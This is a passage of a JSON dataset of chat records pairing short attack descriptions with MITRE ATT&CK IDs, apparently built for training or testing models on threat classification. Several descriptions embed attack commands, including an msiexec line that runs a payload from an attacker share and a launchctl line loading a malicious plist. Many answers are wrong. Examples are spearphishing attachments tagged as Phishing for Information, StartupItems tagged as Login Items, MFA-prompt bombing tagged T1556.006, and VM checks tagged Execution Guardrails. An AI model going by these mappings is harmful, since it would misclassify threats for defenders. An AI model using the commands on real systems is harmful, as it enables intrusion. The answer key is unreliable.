                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed a domain fronting attack, using a compromised domain to hide malicious traffic behind legitimate services."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor utilized System Center Configuration Manager (SCCM) to silently distribute a malicious executable across the enterprise network."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the Windows Service Control Manager to create and start a malicious service on another endpoint."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware performs an SNMP GETBULK request to harvest the full MIB tree from routers, collecting system settings."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group modifies the domain Group Policy to force password changes to weak values."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor purchases a remote access trojan from a cybercrime marketplace to use in subsequent intrusion attempts."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team abuses a vulnerable third‑party SaaS integration to create an unauthorized cloud account with admin rights."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group modifies the ACLs on an upcoming software update installer to grant write access, then injects malicious code that runs when the update is applied."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing email with an attached .xls spreadsheet triggers a PowerShell script that downloads additional malware after the victim enables macros."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An employee inadvertently runs a malicious PowerShell script from a compromised internal SharePoint site, granting the attacker code execution."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised CI/CD pipeline injected commands that invoked the cloud firewall's update endpoint, disabling inbound restrictions."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group abuses a shared cloud service used by the victim and a partner to pivot into the target’s network."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors construct a sandbox‑evasion technique within their malware."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers modify the extra window memory of a legitimate process to store malicious code, then trigger execution via a window message."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor obtains GPG private keys from a compromised developer workstation to sign malicious commits."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a hidden folder in /Library/StartupItems with a script that runs on system boot."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit chain includes loading a malicious DLL into a running svchost.exe instance to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries perform data wiping on removable media before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1564 - Hide Artifacts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using valid credentials, the attacker established an RDP session to a domain controller to execute PowerShell commands."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages launchctl load -w /tmp/malicious.plist to start a backdoor service."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing email includes a disguised URL shortened with a URL‑shortening service that leads to ransomware."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a supply chain compromise, the attacker modifies a system startup script to include an unquoted path to a malicious folder named \"Data Files\", placing a rogue \"svchost.exe\" inside, which is then executed in place of the legitimate service host."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor exploits an unpatched vulnerability in the operating system to gain system-level access and harvest credentials stored in the LSASS process."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ code‑search functionality on GitHub to identify Dockerfiles that reference insecure base images."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat adds a malicious entry to the LaunchDaemons folder to execute a keylogger as root each time the OS starts."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the email platform's delegate management, the attacker grants themselves permission to send emails on behalf of the compromised user."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware encrypts exfiltrated data and stores the ciphertext on a connected portable SSD for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a script that executes dsadd user to add a new domain account."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised system executes 'gpedit.msc' in a headless session to dump local policy configurations."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the stored policy settings in Active Directory to weaken password requirements across the domain."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker's payload reads the contents of the user's home directory for .txt and .log files."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary applies a custom firmware patch that alters the boot sequence to execute their payload."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware performed a recursive directory scan to locate configuration files across the file system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware adds extra non‑functional bytes to the executable sections to inflate its size and evade signature‑based detection."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary executed a remote MSI via msiexec over a UNC path, using the command \"msiexec /quiet /i \\\\attacker\\share\\payload.msi\" to run the payload."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By creating a hidden service account with limited privileges, the intruder ensures continued access while remaining invisible in user audits."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker first exploits a vulnerability to gain code execution, then uses a staged PowerShell command to open a reverse SSH tunnel, which is used to fetch a final payload embedded in a legitimate software installer."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a persistent WMI event subscription that runs a malicious payload when a specific registry key is modified."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised insider copies the access token from the application's environment variables to reuse it."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages ARP cache poisoning to relay malicious traffic and exfiltrate data without using application-layer protocols."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses the SMB relay attack to capture authentication and forward it to other hosts for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service calls the Docker socket to list containers and extract their command-line arguments."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker issues a WMI query to retrieve the policy settings governing password length and required character types."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A .vbs payload is executed via the Windows command line to download additional modules from a malicious URL and install them silently."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious email appears to be a routine invoice from a supplier, containing a hidden script that, once the attachment is opened, extracts system information and exfiltrates it."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor employs a business email compromise (BEC) scam, tricking an employee into transferring funds or revealing sensitive information via email."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves placing a malicious DLL in the AppCert path, causing it to run whenever the system processes a related event."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets the service recovery options to restart the malicious service on failure, ensuring persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remote access tool sets up an RDP listener on the compromised host for incoming connections."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects malicious code into the BIOS firmware to execute before the operating system boots."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queries public passive DNS databases to collect historical DNS records for target domains and associated IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker encodes a PowerShell script in Base64 to obfuscate the commands and evade detection."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a sweep of the corporate LAN using TCP probes to locate active web servers on ports 80 and 443."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploited a misconfigured S3 bucket to replace the website’s static files with defaced versions."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged Microsoft Graph to query SharePoint for documents containing credit card numbers and exfiltrated them."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a COM add‑in into the Excel startup folder, causing the payload to run whenever Excel starts."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the process creation routine so that malicious executables appear as children of system processes like svchost.exe."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries harvested service account keys from an OpenStack Barbican secret store after gaining admin access."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary reads Windows Event Logs to discover recent user logons and security events."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a social engineering tactic to trick users into approving fraudulent MFA prompts sent to their devices, granting unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before launching its payload, the implant checks for known virtual machine artifacts such as VMware tools."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent rootkit is installed that modifies the system's boot sequence, ensuring the malicious code runs before the OS fully loads."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses a VPN over NAT to encapsulate traffic, disguising malicious communications as legitimate VPN traffic and traversing network address translation devices unnoticed."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential stealer executes 'wmic cpu get name,CurrentClockSpeed' to harvest CPU model and speed information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is queued to a thread's APC queue, then executed when the thread enters an alertable state."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor copies a malicious executable from the infected host to a remote server using SMB shares to continue the campaign."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used compromised AWS access keys to programmatically launch new EC2 instances within the victim's account, establishing persistent footholds for malicious activities."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker overwrites legitimate configuration files on the system to inject malicious commands."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a remote code execution vulnerability in a privileged service to run code that reads the Windows Credential Manager and extracts saved credentials."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script calls the macOS 'whoami' command to determine the active user on the compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised privileged account, the attacker runs a batch job in the organization's software deployment scheduler to execute a payload on all workstations."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stores a list of domain names in the binary and resolves them on the fly to evade static detection."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary renamed a malicious .exe file to .pdf, allowing it to bypass user suspicion and execute when opened."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script performs password spraying against Azure AD accounts to find valid credentials."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware collected and replayed Kerberos service tickets, allowing the group to impersonate legitimate users."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conduct attacks during off-hours when monitoring and response teams are less alert"
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
